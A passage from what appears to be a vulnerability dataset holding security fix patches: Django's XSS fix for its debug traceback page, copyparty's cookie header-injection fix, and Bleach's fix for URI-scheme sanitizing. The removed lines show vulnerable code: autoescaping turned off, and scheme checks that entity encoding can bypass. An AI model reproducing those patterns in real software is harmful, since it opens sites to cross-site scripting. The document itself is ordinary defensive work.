 Traceback:{% for frame in frames %}
 {% ifchanged frame.exc_cause %}{% if frame.exc_cause %}{% if frame.exc_cause_explicit %}
-The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
+The above exception ({{ frame.exc_cause|force_escape }}) was the direct cause of the following exception:
 {% else %}
-During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
+During handling of the above exception ({{ frame.exc_cause|force_escape }}), another exception occurred:
 {% endif %}{% endif %}{% endifchanged %}
 File "{{ frame.filename|escape }}" in {{ frame.function|escape }}
 {% if frame.context_line %}  {{ frame.lineno }}. {{ frame.context_line|escape }}{% endif %}{% endfor %}
diff --git a/docs/releases/1.10.8.txt b/docs/releases/1.10.8.txt
index 160e555fefd8..3785e6535aa7 100644
--- a/docs/releases/1.10.8.txt
+++ b/docs/releases/1.10.8.txt
@@ -5,3 +5,12 @@ Django 1.10.8 release notes
 *September 5, 2017*
 
 Django 1.10.8 fixes a security issue in 1.10.7.
+
+CVE-2017-12794: Possible XSS in traceback section of technical 500 debug page
+=============================================================================
+
+In older versions, HTML autoescaping was disabled in a portion of the template
+for the technical 500 debug page. Given the right circumstances, this allowed
+a cross-site scripting attack. This vulnerability shouldn't affect most
+production sites since you shouldn't run with ``DEBUG = True`` (which makes
+this page accessible) in your production settings.
diff --git a/tests/view_tests/tests/py3_test_debug.py b/tests/view_tests/tests/py3_test_debug.py
index 30201bae53f8..316179ae3e5a 100644
--- a/tests/view_tests/tests/py3_test_debug.py
+++ b/tests/view_tests/tests/py3_test_debug.py
@@ -9,6 +9,7 @@
 import sys
 
 from django.test import RequestFactory, TestCase
+from django.utils.safestring import mark_safe
 from django.views.debug import ExceptionReporter
 
 
@@ -20,10 +21,10 @@ def test_reporting_of_nested_exceptions(self):
         request = self.rf.get('/test_view/')
         try:
             try:
-                raise AttributeError('Top level')
+                raise AttributeError(mark_safe('<p>Top level</p>'))
             except AttributeError as explicit:
                 try:
-                    raise ValueError('Second exception') from explicit
+                    raise ValueError('<p>Second exception</p>') from explicit
                 except ValueError:
                     raise IndexError('Final exception')
         except Exception:
@@ -37,9 +38,9 @@ def test_reporting_of_nested_exceptions(self):
         html = reporter.get_traceback_html()
         # Both messages are twice on page -- one rendered as html,
         # one as plain text (for pastebin)
-        self.assertEqual(2, html.count(explicit_exc.format("Top level")))
-        self.assertEqual(2, html.count(implicit_exc.format("Second exception")))
+        self.assertEqual(2, html.count(explicit_exc.format('&lt;p&gt;Top level&lt;/p&gt;')))
+        self.assertEqual(2, html.count(implicit_exc.format('&lt;p&gt;Second exception&lt;/p&gt;')))
 
         text = reporter.get_traceback_text()
-        self.assertIn(explicit_exc.format("Top level"), text)
-        self.assertIn(implicit_exc.format("Second exception"), text)
+        self.assertIn(explicit_exc.format('<p>Top level</p>'), text)
+        self.assertIn(implicit_exc.format('<p>Second exception</p>'), text)", "url": "https://github.com/django/django/commit/58e08e80e362db79eb0fd775dc81faad90dca47a.patch" }, { "commit_message": "[PATCH] [1.11.x] Fixed CVE-2017-12794 -- Fixed XSS possibility in traceback section of technical 500 debug page. This is a security fix. django/views/debug.py | 20 +++++++++----------- docs/releases/1.10.8.txt | 9 +++++++++ docs/releases/1.11.5.txt | 9 +++++++++ tests/view_tests/tests/py3_test_debug.py | 13 +++++++------ 4 files changed, 34 insertions(+), 17 deletions(-)", "patch_text_b64": "From e35a0c56086924f331e9422daa266e907a4784cc Mon Sep 17 00:00:00 2001
From: Tim Graham <timograham@gmail.com>
Date: Wed, 2 Aug 2017 16:22:35 -0400
Subject: [PATCH] [1.11.x] Fixed CVE-2017-12794 -- Fixed XSS possibility in
 traceback section of technical 500 debug page.

This is a security fix.
---
 django/views/debug.py                    | 20 +++++++++-----------
 docs/releases/1.10.8.txt                 |  9 +++++++++
 docs/releases/1.11.5.txt                 |  9 +++++++++
 tests/view_tests/tests/py3_test_debug.py | 13 +++++++------
 4 files changed, 34 insertions(+), 17 deletions(-)

diff --git a/django/views/debug.py b/django/views/debug.py
index 57dbff225957..6db3cf52d0f2 100644
--- a/django/views/debug.py
+++ b/django/views/debug.py
@@ -774,38 +774,37 @@ def default_urlconf(request):
   <h2>Traceback <span class="commands">{% if not is_email %}<a href="#" onclick="return switchPastebinFriendly(this);">
     Switch to copy-and-paste view</a></span>{% endif %}
   </h2>
-  {% autoescape off %}
   <div id="browserTraceback">
     <ul class="traceback">
       {% for frame in frames %}
         {% ifchanged frame.exc_cause %}{% if frame.exc_cause %}
           <li><h3>
           {% if frame.exc_cause_explicit %}
-            The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
+            The above exception ({{ frame.exc_cause|force_escape }}) was the direct cause of the following exception:
           {% else %}
-            During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
+            During handling of the above exception ({{ frame.exc_cause|force_escape }}), another exception occurred:
           {% endif %}
         </h3></li>
         {% endif %}{% endifchanged %}
         <li class="frame {{ frame.type }}">
-          <code>{{ frame.filename|escape }}</code> in <code>{{ frame.function|escape }}</code>
+          <code>{{ frame.filename }}</code> in <code>{{ frame.function }}</code>
 
           {% if frame.context_line %}
             <div class="context" id="c{{ frame.id }}">
               {% if frame.pre_context and not is_email %}
                 <ol start="{{ frame.pre_context_lineno }}" class="pre-context" id="pre{{ frame.id }}">
                 {% for line in frame.pre_context %}
-                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
+                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line }}</pre></li>
                 {% endfor %}
                 </ol>
               {% endif %}
               <ol start="{{ frame.lineno }}" class="context-line">
                 <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>
-"""            """{{ frame.context_line|escape }}</pre>{% if not is_email %} <span>...</span>{% endif %}</li></ol>
+"""            """{{ frame.context_line }}</pre>{% if not is_email %} <span>...</span>{% endif %}</li></ol>
               {% if frame.post_context and not is_email  %}
                 <ol start='{{ frame.lineno|add:"1" }}' class="post-context" id="post{{ frame.id }}">
                   {% for line in frame.post_context %}
-                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
+                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line }}</pre></li>
                   {% endfor %}
               </ol>
               {% endif %}
@@ -830,7 +829,7 @@ def default_urlconf(request):
               <tbody>
                 {% for var in frame.vars|dictsort:0 %}
                   <tr>
-                    <td>{{ var.0|force_escape }}</td>
+                    <td>{{ var.0 }}</td>
                     <td class="code"><pre>{{ var.1 }}</pre></td>
                   </tr>
                 {% endfor %}
@@ -841,7 +840,6 @@ def default_urlconf(request):
       {% endfor %}
     </ul>
   </div>
-  {% endautoescape %}
   <form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post">
 {% if not is_email %}
   <div id="pastebinTraceback" class="pastebin">
@@ -887,9 +885,9 @@ def default_urlconf(request):
 
 Traceback:{% for frame in frames %}
 {% ifchanged frame.exc_cause %}{% if frame.exc_cause %}{% if frame.exc_cause_explicit %}
-The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
+The above exception ({{ frame.exc_cause|force_escape }}) was the direct cause of the following exception:
 {% else %}
-During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
+During handling of the above exception ({{ frame.exc_cause|force_escape }}), another exception occurred:
 {% endif %}{% endif %}{% endifchanged %}
 File "{{ frame.filename|escape }}" in {{ frame.function|escape }}
 {% if frame.context_line %}  {{ frame.lineno }}. {{ frame.context_line|escape }}{% endif %}{% endfor %}
diff --git a/docs/releases/1.10.8.txt b/docs/releases/1.10.8.txt
index 160e555fefd8..3785e6535aa7 100644
--- a/docs/releases/1.10.8.txt
+++ b/docs/releases/1.10.8.txt
@@ -5,3 +5,12 @@ Django 1.10.8 release notes
 *September 5, 2017*
 
 Django 1.10.8 fixes a security issue in 1.10.7.
+
+CVE-2017-12794: Possible XSS in traceback section of technical 500 debug page
+=============================================================================
+
+In older versions, HTML autoescaping was disabled in a portion of the template
+for the technical 500 debug page. Given the right circumstances, this allowed
+a cross-site scripting attack. This vulnerability shouldn't affect most
+production sites since you shouldn't run with ``DEBUG = True`` (which makes
+this page accessible) in your production settings.
diff --git a/docs/releases/1.11.5.txt b/docs/releases/1.11.5.txt
index c0af25fb43d5..dda3489b93c0 100644
--- a/docs/releases/1.11.5.txt
+++ b/docs/releases/1.11.5.txt
@@ -6,6 +6,15 @@ Django 1.11.5 release notes
 
 Django 1.11.5 fixes a security issue and several bugs in 1.11.4.
 
+CVE-2017-12794: Possible XSS in traceback section of technical 500 debug page
+=============================================================================
+
+In older versions, HTML autoescaping was disabled in a portion of the template
+for the technical 500 debug page. Given the right circumstances, this allowed
+a cross-site scripting attack. This vulnerability shouldn't affect most
+production sites since you shouldn't run with ``DEBUG = True`` (which makes
+this page accessible) in your production settings.
+
 Bugfixes
 ========
 
diff --git a/tests/view_tests/tests/py3_test_debug.py b/tests/view_tests/tests/py3_test_debug.py
index 30201bae53f8..316179ae3e5a 100644
--- a/tests/view_tests/tests/py3_test_debug.py
+++ b/tests/view_tests/tests/py3_test_debug.py
@@ -9,6 +9,7 @@
 import sys
 
 from django.test import RequestFactory, TestCase
+from django.utils.safestring import mark_safe
 from django.views.debug import ExceptionReporter
 
 
@@ -20,10 +21,10 @@ def test_reporting_of_nested_exceptions(self):
         request = self.rf.get('/test_view/')
         try:
             try:
-                raise AttributeError('Top level')
+                raise AttributeError(mark_safe('<p>Top level</p>'))
             except AttributeError as explicit:
                 try:
-                    raise ValueError('Second exception') from explicit
+                    raise ValueError('<p>Second exception</p>') from explicit
                 except ValueError:
                     raise IndexError('Final exception')
         except Exception:
@@ -37,9 +38,9 @@ def test_reporting_of_nested_exceptions(self):
         html = reporter.get_traceback_html()
         # Both messages are twice on page -- one rendered as html,
         # one as plain text (for pastebin)
-        self.assertEqual(2, html.count(explicit_exc.format("Top level")))
-        self.assertEqual(2, html.count(implicit_exc.format("Second exception")))
+        self.assertEqual(2, html.count(explicit_exc.format('&lt;p&gt;Top level&lt;/p&gt;')))
+        self.assertEqual(2, html.count(implicit_exc.format('&lt;p&gt;Second exception&lt;/p&gt;')))
 
         text = reporter.get_traceback_text()
-        self.assertIn(explicit_exc.format("Top level"), text)
-        self.assertIn(implicit_exc.format("Second exception"), text)
+        self.assertIn(explicit_exc.format('<p>Top level</p>'), text)
+        self.assertIn(implicit_exc.format('<p>Second exception</p>'), text)", "url": "https://github.com/django/django/commit/e35a0c56086924f331e9422daa266e907a4784cc.patch" } ]
null
PYSEC-2023-132
null
[ { "commit_message": "[PATCH] fix GHSA-f54q-j679-p9hh: reflected-XSS in cookie-setters; it was possible to set cookie values which contained newlines, thus terminating the http header and bleeding into the body. We now disallow control-characters in queries, but still allow them in paths, as copyparty supports filenames containing newlines and other mojibake. The changes in `set_k304` are not necessary in fixing the vulnerability, but makes the behavior more correct. copyparty/httpcli.py | 31 +++++++++++++++++++++++++++++-- copyparty/httpsrv.py | 3 +++ copyparty/util.py | 1 + 3 files changed, 33 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSAwMDdkOTQ4Y2I5ODJkYWEwNWJjNjYxOWNkMjBlZTU1YjdlODM0YzM4IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBlZCA8c0BvY3YubWU+CkRhdGU6IFN1biwgMjMgSnVsIDIwMjMgMTA6NTU6MDggKzAwMDAKU3ViamVjdDogW1BBVENIXSBmaXggR0hTQS1mNTRxLWo2NzktcDloaDogcmVmbGVjdGVkLVhTUyBpbiBjb29raWUtc2V0dGVyczsgaXQKIHdhcyBwb3NzaWJsZSB0byBzZXQgY29va2llIHZhbHVlcyB3aGljaCBjb250YWluZWQgbmV3bGluZXMsIHRodXMgdGVybWluYXRpbmcKIHRoZSBodHRwIGhlYWRlciBhbmQgYmxlZWRpbmcgaW50byB0aGUgYm9keS4KCldlIG5vdyBkaXNhbGxvdyBjb250cm9sLWNoYXJhY3RlcnMgaW4gcXVlcmllcywKYnV0IHN0aWxsIGFsbG93IHRoZW0gaW4gcGF0aHMsIGFzIGNvcHlwYXJ0eSBzdXBwb3J0cwpmaWxlbmFtZXMgY29udGFpbmluZyBuZXdsaW5lcyBhbmQgb3RoZXIgbW9qaWJha2UuCgpUaGUgY2hhbmdlcyBpbiBgc2V0X2szMDRgIGFyZSBub3QgbmVjZXNzYXJ5IGluIGZpeGluZyB0aGUgdnVsbmVyYWJpbGl0eSwKYnV0IG1ha2VzIHRoZSBiZWhhdmlvciBtb3JlIGNvcnJlY3QuCi0tLQogY29weXBhcnR5L2h0dHBjbGkucHkgfCAzMSArKysrKysrKysrKysrKysrKysrKysrKysrKysrKy0tCiBjb3B5cGFydHkvaHR0cHNydi5weSB8ICAzICsrKwogY29weXBhcnR5L3V0aWwucHkgICAgfCAgMSArCiAzIGZpbGVzIGNoYW5nZWQsIDMzIGluc2VydGlvbnMoKyksIDIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvY29weXBhcnR5L2h0dHBjbGkucHkgYi9jb3B5cGFydHkvaHR0cGNsaS5weQppbmRleCA5N2MwNGJiZGIuLjQ3NmM1ZmZiMiAxMDA2NDQKLS0tIGEvY29weXBhcnR5L2h0dHBjbGkucHkKKysrIGIvY29weXBhcnR5L2h0dHBjbGkucHkKQEAgLTMzNyw2ICszMzcsMTUgQEAgZGVmIHJ1bihzZWxmKSAtPiBib29sOgogICAgICAgICAgICAgdnBhdGgsIGFyZ2xpc3QgPSBzZWxmLnJlcS5zcGxpdCgiPyIsIDEpCiAgICAgICAgICAgICBzZWxmLnRyYWlsaW5nX3NsYXNoID0gdnBhdGguZW5kc3dpdGgoIi8iKQogICAgICAgICAgICAgdnBhdGggPSB1bmRvdCh2cGF0aCkKKworICAgICAgICAgICAgenMgPSB1bnF1b3RlcChhcmdsaXN0KQorICAgICAgICAgICAgbSA9IHNlbGYuY29ubi5oc3J2LnB0bl9jYy5zZWFyY2goenMpCisgICAgICAgICAgICBpZiBtOgorICAgICAgICAgICAgICAgIGhpdCA9IHpzW20uc3BhbigpWzBdIDpdCisgICAgICAgICAgICAgICAgdCA9ICJtYWxpY2lvdXMgdXNlcjsgQ2MgaW4gcXVlcnkgW3t9XSA9PiBbeyFyfV0iCisgICAgICAgICAgICAgICAgc2VsZi5sb2codC5mb3JtYXQoc2VsZi5yZXEsIGhpdCksIDEpCisgICAgICAgICAgICAgICAgcmV0dXJuIEZhbHNlCisKICAgICAgICAgICAgIGZvciBrIGluIGFyZ2xpc3Quc3BsaXQoIiYiKToKICAgICAgICAgICAgICAgICBpZiAiPSIgaW4gazoKICAgICAgICAgICAgICAgICAgICAgaywgenMgPSBrLnNwbGl0KCI9IiwgMSkKQEAgLTQ4OCw2ICs0OTcsOSBAQCBkZWYgcnVuKHNlbGYpIC0+IGJvb2w6CiAgICAgICAgICAgICAgICAgcGV4OiBQZWJrYWMgPSBleCAgIyB0eXBlOiBpZ25vcmUKIAogICAgICAgICAgICAgdHJ5OgorICAgICAgICAgICAgICAgIGlmIHBleC5jb2RlID09IDk5OToKKyAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZhbHNlCisKICAgICAgICAgICAgICAgICBwb3N0ID0gc2VsZi5tb2RlIGluIFsiUE9TVCIsICJQVVQiXSBvciAiY29udGVudC1sZW5ndGgiIGluIHNlbGYuaGVhZGVycwogICAgICAgICAgICAgICAgIGlmIG5vdCBzZWxmLl9jaGVja19ub25mYXRhbChwZXgsIHBvc3QpOgogICAgICAgICAgICAgICAgICAgICBzZWxmLmtlZXBhbGl2ZSA9IEZhbHNlCkBAIC01ODYsNiArNTk4LDE0IEBAIGRlZiBzZW5kX2hlYWRlcnMoCiAgICAgICAgIGZvciBrLCB6cyBpbiBsaXN0KHNlbGYub3V0X2hlYWRlcnMuaXRlbXMoKSkgKyBzZWxmLm91dF9oZWFkZXJsaXN0OgogICAgICAgICAgICAgcmVzcG9uc2UuYXBwZW5kKCIlczogJXMiICUgKGssIHpzKSkKIAorICAgICAgICBmb3IgenMgaW4gcmVzcG9uc2U6CisgICAgICAgICAgICBtID0gc2VsZi5jb25uLmhzcnYucHRuX2NjLnNlYXJjaCh6cykKKyAgICAgICAgICAgIGlmIG06CisgICAgICAgICAgICAgICAgaGl0ID0genNbbS5zcGFuKClbMF0gOl0KKyAgICAgICAgICAgICAgICB0ID0gIm1hbGljaW91cyB1c2VyOyBDYyBpbiBvdXQtaGRyIHshcn0gPT4gW3shcn1dIgorICAgICAgICAgICAgICAgIHNlbGYubG9nKHQuZm9ybWF0KHpzLCBoaXQpLCAxKQorICAgICAgICAgICAgICAgIHJhaXNlIFBlYmthYyg5OTkpCisKICAgICAgICAgdHJ5OgogICAgICAgICAgICAgIyBiZXN0IHByYWN0aWNlIHRvIHNlcGFyYXRlIGhlYWRlcnMgYW5kIGJvZHkgaW50byBkaWZmZXJlbnQgcGFja2V0cwogICAgICAgICAgICAgc2VsZi5zLnNlbmRhbGwoIlxyXG4iLmpvaW4ocmVzcG9uc2UpLmVuY29kZSgidXRmLTgiKSArIGIiXHJcblxyXG4iKQpAQCAtNzg1LDcgKzgwNSw3IEBAIGRlZiBoYW5kbGVfZ2V0KHNlbGYpIC0+IGJvb2w6CiAgICAgICAgICAgICBwYXRoX2Jhc2UgPSBvcy5wYXRoLmpvaW4oc2VsZi5FLm1vZCwgIndlYiIpCiAgICAgICAgICAgICBzdGF0aWNfcGF0aCA9IGFic3JlYWwob3MucGF0aC5qb2luKHBhdGhfYmFzZSwgc2VsZi52cGF0aFs1Ol0pKQogICAgICAgICAgICAgaWYgbm90IHN0YXRpY19wYXRoLnN0YXJ0c3dpdGgocGF0aF9iYXNlKToKLSAgICAgICAgICAgICAgICB0ID0gImF0dGVtcHRlZCBwYXRoIHRyYXZlcnNhbCBbe31dID0+IFt7fV0iCisgICAgICAgICAgICAgICAgdCA9ICJtYWxpY2lvdXMgdXNlcjsgYXR0ZW1wdGVkIHBhdGggdHJhdmVyc2FsIFt7fV0gPT4gW3t9XSIKICAgICAgICAgICAgICAgICBzZWxmLmxvZyh0LmZvcm1hdChzZWxmLnZwYXRoLCBzdGF0aWNfcGF0aCksIDEpCiAgICAgICAgICAgICAgICAgc2VsZi50eF80MDQoKQogICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQpAQCAtMzA3Nyw3ICszMDk3LDE0IEBAIGRlZiB0eF9tb3VudHMoc2VsZikgLT4gYm9vbDoKICAgICAgICAgcmV0dXJuIFRydWUKIAogICAgIGRlZiBzZXRfazMwNChzZWxmKSAtPiBib29sOgotICAgICAgICBjayA9IGdlbmNvb2tpZSgiazMwNCIsIHNlbGYudXBhcmFtWyJrMzA0Il0sIHNlbGYuYXJncy5SLCBGYWxzZSwgODY0MDAgKiAyOTkpCisgICAgICAgIHYgPSBzZWxmLnVwYXJhbVsiazMwNCJdLmxvd2VyKCkKKyAgICAgICAgaWYgdiA9PSAieSI6CisgICAgICAgICAgICBkdXIgPSA4NjQwMCAqIDI5OQorICAgICAgICBlbHNlOgorICAgICAgICAgICAgZHVyID0gTm9uZQorICAgICAgICAgICAgdiA9ICJ4IgorCisgICAgICAgIGNrID0gZ2VuY29va2llKCJrMzA0Iiwgdiwgc2VsZi5hcmdzLlIsIEZhbHNlLCBkdXIpCiAgICAgICAgIHNlbGYub3V0X2hlYWRlcmxpc3QuYXBwZW5kKCgiU2V0LUNvb2tpZSIsIGNrKSkKICAgICAgICAgc2VsZi5yZWRpcmVjdCgiIiwgIj9oI2NjIikKICAgICAgICAgcmV0dXJuIFRydWUKZGlmZiAtLWdpdCBhL2NvcHlwYXJ0eS9odHRwc3J2LnB5IGIvY29weXBhcnR5L2h0dHBzcnYucHkKaW5kZXggZjk4MGE2OTBlLi5hOWY1NWJjMTAgMTAwNjQ0Ci0tLSBhL2NvcHlwYXJ0eS9odHRwc3J2LnB5CisrKyBiL2NvcHlwYXJ0eS9odHRwc3J2LnB5CkBAIC00LDYgKzQsNyBAQAogaW1wb3J0IGJhc2U2NAogaW1wb3J0IG1hdGgKIGltcG9ydCBvcworaW1wb3J0IHJlCiBpbXBvcnQgc29ja2V0CiBpbXBvcnQgc3lzCiBpbXBvcnQgdGhyZWFkaW5nCkBAIC0xMzgsNiArMTM5LDggQEAgZGVmIF9faW5pdF9fKHNlbGYsIGJyb2tlcjogIkJyb2tlckNsaSIsIG5pZDogT3B0aW9uYWxbaW50XSkgLT4gTm9uZToKICAgICAgICAgenMgPSBvcy5wYXRoLmpvaW4oc2VsZi5FLm1vZCwgIndlYiIsICJkZXBzIiwgInByaXNtLmpzLmd6IikKICAgICAgICAgc2VsZi5wcmlzbSA9IG9zLnBhdGguZXhpc3RzKHpzKQogCisgICAgICAgIHNlbGYucHRuX2NjID0gcmUuY29tcGlsZShyIltceDAwLVx4MWZdIikKKwogICAgICAgICBzZWxmLm1hbGxvdyA9ICJHRVQgSEVBRCBQT1NUIFBVVCBERUxFVEUgT1BUSU9OUyIuc3BsaXQoKQogICAgICAgICBpZiBub3Qgc2VsZi5hcmdzLm5vX2RhdjoKICAgICAgICAgICAgIHpzID0gIlBST1BGSU5EIFBST1BQQVRDSCBMT0NLIFVOTE9DSyBNS0NPTCBDT1BZIE1PVkUiCmRpZmYgLS1naXQgYS9jb3B5cGFydHkvdXRpbC5weSBiL2NvcHlwYXJ0eS91dGlsLnB5CmluZGV4IGQzZWIwNmQxMC4uZmFiNzRiNzkyIDEwMDY0NAotLS0gYS9jb3B5cGFydHkvdXRpbC5weQorKysgYi9jb3B5cGFydHkvdXRpbC5weQpAQCAtMTcxLDYgKzE3MSw3IEBAIGRlZiBzdW5wYWNrKGZtdDogYnl0ZXMsIGE6IGJ5dGVzKSAtPiB0dXBsZVtBbnksIC4uLl06CiAgICAgNTAwOiAiSW50ZXJuYWwgU2VydmVyIEVycm9yIiwKICAgICA1MDE6ICJOb3QgSW1wbGVtZW50ZWQiLAogICAgIDUwMzogIlNlcnZpY2UgVW5hdmFpbGFibGUiLAorICAgIDk5OTogIk1pc3NpbmdObyIsCiB9", "url": "https://github.com/9001/copyparty/commit/007d948cb982daa05bc6619cd20ee55b7e834c38.patch" } ]
null
GHSA-m9mq-p2f9-cfqv
Bleach URI Scheme Restriction Bypass
null
[ { "commit_message": "[PATCH 1/2] Fix url sanitizing Fixes a security issue where url sanitizing wouldn't work if there were character entities breaking up the scheme. This allowed javascript urls even when they were not explicitly allowed. bleach/sanitizer.py | 134 ++++++++++++++++++++++++++++++++++++++------ tests/test_clean.py | 98 ++++++++++++++++++++++++++++++-- 2 files changed, 210 insertions(+), 22 deletions(-)", "patch_text_b64": "From 73dfef1d3b96c2e432660d8d2f2e9d0eaa230e36 Mon Sep 17 00:00:00 2001
From: Will Kahn-Greene <willkg@mozilla.com>
Date: Sat, 3 Mar 2018 09:58:37 -0500
Subject: [PATCH 1/2] Fix url sanitizing

Fixes a security issue where url sanitizing wouldn't work if there were
character entities breaking up the scheme. This allowed javascript urls
even when they were not explicitly allowed.
---
 bleach/sanitizer.py | 134 ++++++++++++++++++++++++++++++++++++++------
 tests/test_clean.py |  98 ++++++++++++++++++++++++++++++--
 2 files changed, 210 insertions(+), 22 deletions(-)

diff --git a/bleach/sanitizer.py b/bleach/sanitizer.py
index 81df765b..ac6a55cb 100644
--- a/bleach/sanitizer.py
+++ b/bleach/sanitizer.py
@@ -4,6 +4,7 @@
 import string
 
 import six
+from six.moves.urllib.parse import urlparse
 from xml.sax.saxutils import unescape
 
 import html5lib
@@ -27,8 +28,11 @@
 from bleach.utils import alphabetize_attributes, force_unicode
 
 
+#: Map of entity name to expanded entity
+ENTITIES = entities
+
 #: Trie of html entity string -> character representation
-ENTITIES_TRIE = Trie(entities)
+ENTITIES_TRIE = Trie(ENTITIES)
 
 #: List of allowed tags
 ALLOWED_TAGS = [
@@ -79,13 +83,61 @@
 INVISIBLE_REPLACEMENT_CHAR = '?'
 
 
+def convert_entity(value):
+    """Convert an entity (minus the & and ; part) into what it represents
+
+    This handles numeric, hex, and text entities.
+
+    :arg value: the string (minus the ``&`` and ``;`` part) to convert
+
+    :returns: unicode character
+
+    """
+    if value[0] == '#':
+        if value[1] in ('x', 'X'):
+            return six.unichr(int(value[2:], 16))
+        return six.unichr(int(value[1:], 10))
+
+    return ENTITIES[value]
+
+
+def convert_entities(text):
+    """Converts all found entities in the text
+
+    :arg text: the text to convert entities in
+
+    :returns: unicode text with converted entities
+
+    """
+    if '&' not in text:
+        return text
+
+    new_text = []
+    for part in next_possible_entity(text):
+        if not part:
+            continue
+
+        if part.startswith('&'):
+            entity = match_entity(part)
+            if entity is not None:
+                new_text.append(convert_entity(entity))
+                remainder = part[len(entity) + 2:]
+                if part:
+                    new_text.append(remainder)
+                continue
+
+        new_text.append(part)
+
+    return u''.join(new_text)
+
+
 class BleachHTMLTokenizer(HTMLTokenizer):
     def consumeEntity(self, allowedChar=None, fromAttribute=False):
         # We don't want to consume and convert entities, so this overrides the
         # html5lib tokenizer's consumeEntity so that it's now a no-op.
         #
         # However, when that gets called, it's consumed an &, so we put that in
-        # the steam.
+        # the stream.
         if fromAttribute:
             self.currentToken['data'][-1][1] += '&'
 
@@ -479,15 +531,69 @@ def sanitize_characters(self, token):
                     new_tokens.append({'type': 'Entity', 'name': entity})
                     # Length of the entity plus 2--one for & at the beginning
                     # and and one for ; at the end
-                    part = part[len(entity) + 2:]
-                    if part:
-                        new_tokens.append({'type': 'Characters', 'data': part})
+                    remainder = part[len(entity) + 2:]
+                    if remainder:
+                        new_tokens.append({'type': 'Characters', 'data': remainder})
                     continue
 
             new_tokens.append({'type': 'Characters', 'data': part})
 
         return new_tokens
 
+    def sanitize_uri_value(self, value, allowed_protocols):
+        """Checks a uri value to see if it's allowed
+
+        :arg value: the uri value to sanitize
+        :arg allowed_protocols: list of allowed protocols
+
+        :returns: allowed value or None
+
+        """
+        # NOTE(willkg): This transforms the value into one that's easier to
+        # match and verify, but shouldn't get returned since it's vastly
+        # different than the original value.
+
+        # Convert all character entities in the value
+        new_value = convert_entities(value)
+
+        # Nix single quote, whitespace, and non-printable charcters
+        new_value = re.sub(
+            "[`\000-\040\177-\240\s]+",
+            '',
+            new_value
+        )
+
+        # Remove REPLACEMENT characters
+        new_value = new_value.replace('\ufffd', '')
+
+        # Lowercase it--this breaks the value, but makes it easier to match
+        # against
+        new_value = new_value.lower()
+
+        # Drop attributes with uri values that have protocols that aren't
+        # allowed
+        parsed = urlparse(new_value)
+        if parsed.scheme:
+            # If urlparse found a scheme, check that
+            if parsed.scheme in allowed_protocols:
+                return value
+
+        else:
+            # Allow uris that are just an anchor
+            if new_value.startswith('#'):
+                return value
+
+            # Handle protocols that urlparse doesn't recognize like "myprotocol"
+            if ':' in new_value and new_value.split(':')[0] in allowed_protocols:
+                return value
+
+            # If there's no protocol/scheme specified, then assume it's "http"
+            # and see if that's allowed
+            if 'http' in allowed_protocols:
+                return value
+
+        return None
+
     def allow_token(self, token):
         """Handles the case where we're allowing the tag"""
         if 'data' in token:
@@ -508,21 +614,13 @@ def allow_token(self, token):
                 if not self.attr_filter(token['name'], name, val):
                     continue
 
-                # Look at attributes that have uri values
+                # Drop attributes with uri values that use a disallowed protocol
+                # Sanitize attributes with uri values
                 if namespaced_name in self.attr_val_is_uri:
-                    val_unescaped = re.sub(
-                        "[`\000-\040\177-\240\s]+",
-                        '',
-                        unescape(val)).lower()
-
-                    # Remove replacement characters from unescaped characters.
-                    val_unescaped = val_unescaped.replace("\ufffd", "")
-
-                    # Drop attributes with uri values that have protocols that
-                    # aren't allowed
-                    if (re.match(r'^[a-z0-9][-+.a-z0-9]*:', val_unescaped) and
-                            (val_unescaped.split(':')[0] not in self.allowed_protocols)):
+                    new_value = self.sanitize_uri_value(val, self.allowed_protocols)
+                    if new_value is None:
                         continue
+                    val = new_value
 
                 # Drop values in svg attrs with non-local IRIs
                 if namespaced_name in self.svg_attr_val_allows_ref:
diff --git a/tests/test_clean.py b/tests/test_clean.py
index 221addba..f680e8e1 100644
--- a/tests/test_clean.py
+++ b/tests/test_clean.py
@@ -213,7 +213,7 @@ def test_nested_script_tag():
     ('an < entity', 'an &lt; entity'),
     ('tag < <em>and</em> entity', 'tag &lt; <em>and</em> entity'),
 ])
-def test_bare_entities(text, expected):
+def test_bare_entities_get_escaped_correctly(text, expected):
     assert clean(text) == expected
 
 
@@ -277,7 +277,7 @@ def test_bare_entities(text, expected):
     # Verify that clean() doesn't unescape entities.
     ('&#39;&#34;', '&#39;&#34;'),
 ])
-def test_character_entities(text, expected):
+def test_character_entities_handling(text, expected):
     assert clean(text) == expected
 
 
@@ -534,10 +534,100 @@ def test_attributes_list():
 
     # Unspecified protocols are not allowed
     (
-        '<a href="http://xx.com">invalid href</a>',
+        '<a href="http://example.com">invalid href</a>',
         {'protocols': ['myprotocol']},
         '<a>invalid href</a>'
-    )
+    ),
+
+    # Anchors are ok
+    (
+        '<a href="#example.com">foo</a>',
+        {'protocols': []},
+        '<a href="#example.com">foo</a>'
+    ),
+
+    # Allow implicit http if allowed
+    (
+        '<a href="example.com">valid</a>',
+        {'protocols': ['http']},
+        '<a href="example.com">valid</a>'
+    ),
+    (
+        '<a href="example.com:8000">valid</a>',
+        {'protocols': ['http']},
+        '<a href="example.com:8000">valid</a>'
+    ),
+    (
+        '<a href="localhost">valid</a>',
+        {'protocols': ['http']},
+        '<a href="localhost">valid</a>'
+    ),
+    (
+        '<a href="localhost:8000">valid</a>',
+        {'protocols': ['http']},
+        '<a href="localhost:8000">valid</a>'
+    ),
+    (
+        '<a href="192.168.100.100">valid</a>',
+        {'protocols': ['http']},
